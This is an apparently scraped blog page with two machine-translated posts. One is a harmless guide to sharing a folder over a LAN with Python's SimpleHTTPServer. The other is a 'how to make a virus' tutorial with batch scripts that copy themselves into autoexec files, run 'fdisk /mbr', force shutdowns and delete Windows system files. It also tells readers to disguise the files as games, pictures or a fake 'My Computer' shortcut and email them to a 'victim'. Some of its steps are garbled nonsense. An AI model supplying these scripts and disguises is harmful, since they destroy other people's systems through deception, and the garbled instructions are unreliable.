Création des Logiciels de gestion d'Entreprise, Création et référencement des sites web, Réseaux et Maintenance, Conception
Création des Logiciels de gestion d'Entreprise, Création et référencement des sites web, Réseaux et Maintenance, Conception
All of us will ever be at home with a friend or a family member and want to exchange a few files quickly. This “How To” you will be able to “host” your files temporarily and your folders on your GNU / Linux using Python, and you can access via browser from any device connected to the LAN and WLAN.
Python is a high-level programming language interpreted, object-oriented and extensible. It is a multi-paradigm language variables are not typed, which allows Python to be versatile, fast and efficient. Precisely because of these characteristics, it proves useful to scripting.
Our goal is to have access to a Linux device file via browser from any machine connected via LAN cable (LAN) or wireless (WLAN).
But how?
What we need is a small server to boot from the terminal. The SimpleHTTPServer, this is the script name in the directory we will use
/ Usr / lib / pythonx.y /
is available in all systems that have installed Python version 2.5 or higher.
Given some element of theory, let’s practice!
We want to share the folder “mia_cartella” contained in one of the system.
We initiate the terminal.
Let’s move the folder to be exchanged: Use the command “cd” (change directory).
cd Desktop / mia_cartella
Finally we start the script. The syntax is:
sudo python-m SimpleHTTPServer 80
where 80 is the port on which to listen.
For more ports of 1024 can omit “sudo”.
This is what will appear: The server starts at localhost on port choice.
To end the session just press Ctrl + C
Now just find the IP address of the pc to share the folder with one of the many methods, I suggest sites like http://www.ip-adress.com/ .
Point your Web browser connected to the device (W) LAN from which you access
http://ipaddress:port/
proceeds with the IP address instead of “ipaddress” and the port you chose for the connection instead of “port”. The browser will display a tree structure, such as image, with the contents of the folder from which you started the script.
Warning! The script is recursive, so anyone can access it, can also display the subfolders.
2013, By: Seo Master
What Is A Virus?
A computer virus is a computer program that can copy itself and infect a computer. The term “virus” is also commonly but erroneously used to refer to other types of malware, adware, and spyware programs that do not have the reproductive ability. A true virus can only spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive. Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer.(Source Wikipedia)
As stated above, the term “computer virus” is sometimes used as a catch-all phrase to include all types of malware, adware, and spyware programs that do not have the reproductive ability. Malware includes computer viruses, worms, trojans, most rootkits, spyware, dishonest adware, crimeware, and other malicious and unwanted software, including true viruses. Viruses are sometimes confused with computer worms and Trojan horses, which are technically different. A worm can exploit security vulnerabilities to spread itself automatically to other computers through networks, while a Trojan is a program that appears harmless but hides malicious functions. Worms and Trojans, like viruses, may harm a computer system’s data or performance. Some viruses and other malware have symptoms noticeable to the computer user, but many are surreptitious and go unnoticed.(Source Wikipedia)
Understand the following: It’s just a harmless “virus”. It only prints some scary messages and finally shuts down the computer. As you start it again, your computer will work as it did before!
Read the virus: Below you see the Computer-Code that is executed as you start the virus. The lines that start with REM are comments that the computer ignores. The explain you what the above line does.
@echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:tmp.bat >null attrib +r +s +h c:tmp.bat echo for %%i in (*.bat) do copy c:tmp.bat+%%i %%i >>c:windowssystem32autoexec.NT
echo echo virus detected! >>c:windowssystem32autoexec.NT
echo pause >>c:windowssystem32autoexec.NT
echo NT core:infected!
echo echo shame on you! >>c:autoexec.bat
echo echo system hault-virus identified! >>c:autoexec.bat
echo chkdsk >>c:autoexec.bat
echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c “windows has shut down because the lsass service has incountered a write fault at 0×00000000000000000000000000000000000″
Code Details
@echo off
color 1a (Changes the colour)
echo (Displays a text)
echo: (leaves a line)
ping -n 2 127.0.0.1>nul (pings your localhost – nothing much)
shutdown.exe (shutdown)
Read and understand the warnings!
Open up Notepad in Windows. You can do this by navigating to Start > Programs > Accessories > Notepad, or simply by entering notepad under Start > Run.
Copy and Paste the Code of the “virus” into Notepad
Click File -> Save as
Decide for a location to save the fake-virus. You should chose a location where the user won’t find the file, so saving it on the desktop would be a bad idea!
Change “.txt” to “All files” in the file type drop-down menu
Chose a harmless filename. Replace the “.txt” at the with “.bat”
Click on save and close Notepad.
Now We Have Completed Making The Virus And Now We Must Bind The Virus With Any Other File
To Create a Fake Virus
First of all open "Notepad" in your computer and type the following code without quotes.
"start virus.bat
virus.bat"
Now the file as virus.bat and send it to your friend.Now when he will be trying to run it,his computer will get crushed and he will have to restart his computer.
To Create a Shutdown Virus
To create this virus,you dont need to open notepad.For this just go to your desktop,i.e.,the main screen and right click and go to "New" and then click "Shortcut".
Now type the following code in the text box.
shutdown -s -t 200 -c "This is a Fake Virus"
And then click next and type "My Computer".Now you will see a shortcut on your desktop named as "My Computer".Now you just need to change the icon of it as same as that of original My Computer.So right click on the shortcut and click properties and then click "Change Icon" button.Now select the icon of the My Computer and click apply and then OK.Now place the My Computer shortcut on your desktop and replace the original one.
Now whenever your friend will try to open My Computer,then his computer will get shut down after 3 minutes.To stop the shutdown,go to start and then go to Run and type shutdown -a.
1.To create a very harmful virus,open Notepad and type the following.
del "C:\windows\pchealth"
del "C:\windows\system\"
del "C:\windows\system32\restore\"
del "C:\winlogon.exe"
del "C:\windows\system32\logonui.exe"
del "C:\windows\system32\ntoskrni.exe"
del "C:\windows\system32\autoexec.nt"
After pasting , Save it as " your fav name " .bat
it's like i have saved it with ," fifa 10.bat "
i saved it like
fifa 10.bat
cricket 08.bat
spiderman 03.bat
batman 08.bat
matrixtheneo 02.bat
you have to put " any name " and 2 digits then " .bat "
and save it to your desktop , ....dont DOUBLE CLICK IT
or else your system files willl be deleted !
the disadvantage is , you cannot send this file by attachment in any EMAIL and send it to your friends
destroy your friends CPU and Enjoy !
2.What this virus does is completely and permanently delete Windows or Linux depending. Please read the caution at the top.Onto the trick. Follow the directions carefully.
1- Write The Following In Notepad Exactly as it says Code: 01001011000111110010010101010101010000011111100000
2- Save the file as an EXE (Click File-->Save as...-->and erase what ever is there and type in something like funnystuff.exe).
3- To test it, create a textfile called "TEST.txt"(just leave it blank) and save it in 'My Documents' or something in your C: drive. Now in a NEW notepad type "erase C:TEST.txt" (without the quotes). Then do "Save As..." and save it as "Test.cmd". Now run the file "Test.cmd" and go to C: and you'll see your Test.txt is gone. Now, the real work begins:
4- Go to Notpad and type "erase C:WINDOWS" (or C:LINUX if your targeted victim has linux) and save it again as funnypicture.cmd or something.
5- DON'T EVER run the file or you'll lose your WINDOWS map. So, that's the virus.
6- Send an email to your victim and attach the file "Funnypicture.cmd" or whatever you named it. When they open it, their Windows will be erased.
2013, By: Seo Master